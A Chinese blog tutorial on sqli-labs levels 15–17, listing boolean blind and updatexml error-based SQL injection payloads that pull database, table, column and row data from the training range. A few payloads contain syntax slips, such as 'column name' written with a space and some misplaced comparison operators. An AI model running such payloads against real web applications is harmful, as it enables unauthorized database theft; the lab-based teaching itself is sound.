• 以sqlilabs靶场为例,讲解SQL注入攻击原理【15-17关】


    【less-15:布尔盲注】

    单引号闭合

    1. '  or (length(database()))  -- += 数字:判断数据库长度;

    2. '  or (ascii(substr(database(),1,1)))  -- += 数字:获取组成数据库的字符;

    3. ' or (ascii(substr((select table_name from information_schema.tables where table_schema=database limit 0,1),1,1)))=数字 -- + :获取数据表名;

    4. ' or (ascii(substr((select column_name from information_schema.columns where table_schema=database and table_name=数据表名  limit 0,1),1,1)))=数字 -- + :获取数据表字段;

    【less-16:布尔盲注】

    双引号括号 闭合

    1. ")  or (length(database()))= 数字  -- +:判断数据库长度;

    2. ")  or (ascii(substr(database(),1,1)))  -- += 数字:获取组成数据库的字符;

    3. ") or (ascii(substr((select table_name from information_schema.tables where table_schema=database limit 0,1),1,1)))=数字 -- + :获取数据表名;

    4. ") or (ascii(substr((select column_name from information_schema.columns where table_schema=database and table_name=数据表名  limit 0,1),1,1)))=数字 -- + :获取数据表字段;

    【less-17: 报错注入】

    1.判断是否存在注入:'or 1=1--qwe
    2.判断库名:'and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)-- +
    3.判断表名:'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='数据库' limit 0,1),0x7e),1)-- +
    4.判断列名:' and updatexml(1,concat(0x7e,(select column name from information_schema.columns where table_schema='库名' and table_name='表名' limit 0,1),0x7e),1)-- +

    5. 判断数据:' and updatexml(1,concat(0x7e,(select 字段 from 表名 limit 0,1),0x7e),1)-- +

  • 相关阅读:
    2.4 双链表
    Hive 使用达梦DM8 无法识别 “COMMENT” 问题
    Win11怎么调亮度?Win11调屏幕亮度的四种方法
    OGG基本框架、安装、运维、报错处理、监控命令
    SparkSQL之LogicalPlan概述
    ThingsBoard如何自定义tcp-transport
    AlibabaCloud微服务:Linux 部署 Nacos 服务治理
    mysql主从复制
    ADSO主数据检查,到底检查什么--master data check
    哨兵(Sentinel-1、2)数据下载
  • 原文地址:https://blog.csdn.net/weixin_42515203/article/details/139101469